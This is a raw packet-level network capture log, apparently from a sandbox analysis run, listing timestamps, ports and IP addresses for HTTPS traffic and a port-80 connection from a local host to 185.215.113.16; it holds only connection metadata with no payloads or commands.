Oct 24, 2024 04:57:17.758761883 CEST	443	49743	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:18.355132103 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.355175972 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:18.355324030 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.355863094 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.355879068 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:18.969790936 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:18.969873905 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.971863031 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.971868992 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:18.972071886 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:18.974205971 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.975317955 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.975349903 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:18.975439072 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.975466967 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:18.975548983 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.975583076 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:18.975682974 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.975711107 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:18.975825071 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.975853920 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:18.975970984 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.975996017 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:18.976007938 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.976111889 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.976144075 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.986691952 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:18.986788034 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.986818075 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:18.986826897 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.986843109 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:18.986946106 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.986974955 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.987019062 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.996504068 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:18.996606112 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:18.996627092 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:20.686773062 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:20.686878920 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:20.686973095 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:20.687066078 CEST	49753	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:20.687081099 CEST	443	49753	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:20.700757027 CEST	49767	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:20.700839996 CEST	443	49767	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:20.700922012 CEST	49767	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:20.701472998 CEST	49767	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:20.701559067 CEST	443	49767	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:21.321984053 CEST	443	49767	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:21.322175980 CEST	49767	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:21.376385927 CEST	49767	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:21.376466036 CEST	443	49767	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:21.376811981 CEST	443	49767	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:21.384005070 CEST	49767	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:21.384005070 CEST	49767	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:21.384145975 CEST	443	49767	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:21.725431919 CEST	443	49767	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:21.725533009 CEST	443	49767	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:21.725585938 CEST	49767	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:21.725883961 CEST	49767	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:21.725884914 CEST	49767	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:21.725950003 CEST	443	49767	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:21.725986958 CEST	443	49767	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:21.727413893 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:21.732804060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:21.732882023 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:21.732980967 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:21.738424063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.652920008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.652952909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.653012037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.653033972 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.653042078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.653090954 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.653096914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.653126955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.653161049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.653172016 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.653203011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.653235912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.653249979 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.653271914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.653320074 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.658756018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.658792973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.658828020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.658845901 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.658860922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.658906937 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.658976078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.705212116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.811096907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.811170101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.811203003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.811235905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.811348915 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.811348915 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.811429977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.811465025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.811501026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.811634064 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.811989069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.812026024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.812045097 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.812063932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.812099934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.812115908 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.812134027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.812165976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.812177896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.812467098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.812503099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.812515974 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.812542915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.812592983 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.930588007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.930619955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.930630922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.930644035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.930663109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.930661917 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.930672884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.930700064 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.930743933 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.931293964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.931346893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.931360006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.931396961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.931407928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.931416035 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.931431055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.931437016 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.931484938 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:22.931835890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.969364882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.969371080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:22.969425917 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.050193071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.050209999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.050259113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.050266027 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.050268888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.050292969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.050317049 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.050494909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.050506115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.050549984 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.203174114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.203191996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.203212023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.203233957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.203257084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.203267097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.203507900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.203531981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.203541994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.203557014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.203578949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.203592062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.204416990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.204435110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.204444885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.204471111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.204487085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.204498053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.205284119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.205809116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.269177914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.269192934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.269258976 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.288358927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.288374901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.288393974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.288431883 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.288887978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.288921118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.288944006 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.289123058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.289132118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.289170027 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.289258957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.289268970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.289289951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.289302111 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.289325953 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.322454929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.322525978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.322592020 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.388395071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.388444901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.388499022 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.422066927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.422166109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.422215939 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.422219038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.422266960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.422306061 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.422343969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.422393084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.422441006 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.422509909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.422559977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.422605991 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.422609091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.442229033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.442301989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.442317009 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.486620903 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.508030891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.508128881 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.508236885 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.526833057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.526892900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.526951075 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.527563095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.527610064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.527657986 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.527667046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.527734041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.527777910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.527781963 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.527827024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.527869940 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.527873993 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.528059006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.528104067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.528106928 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.528219938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.528263092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.528270006 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.560815096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.560864925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.560878992 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.560933113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.560983896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.627338886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.627408981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.627465963 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.646969080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.647042990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.647098064 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.647785902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.647859097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.647903919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.647931099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.647984028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.648025990 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.648061991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.648113966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.648152113 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.648160934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.648211002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.648260117 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.648412943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.648458958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.648495913 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.680083990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.680144072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.680208921 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.680243969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.680296898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.680344105 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.680351019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.720841885 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.746351957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.746382952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.746479034 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.765588999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.765604973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.765702963 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.765934944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.766040087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.766089916 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.766231060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.766280890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.766324043 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.766335964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.766395092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.766433001 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.766540051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.766566992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.766613007 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.766668081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.766690016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.766769886 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.799376011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.799411058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.799427032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.799448967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.799474955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.799487114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.799523115 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.799561024 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.865727901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.865744114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.865803003 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.884793043 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.884808064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.884870052 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.885215044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.885276079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.885318041 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.885516882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.885524988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.885560036 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.885571957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.885612965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.885648966 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.919142008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.919166088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.919184923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.919193029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.919213057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.919214010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.919226885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.919233084 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.919276953 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:23.919369936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.919380903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:23.919418097 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.004211903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.004240990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.004250050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.004266024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.004290104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.004321098 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.004822016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.004832983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.004852057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.004897118 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.038038969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.038054943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.038079023 CEST	80	49774	185.215.113.16	192.168.2.6
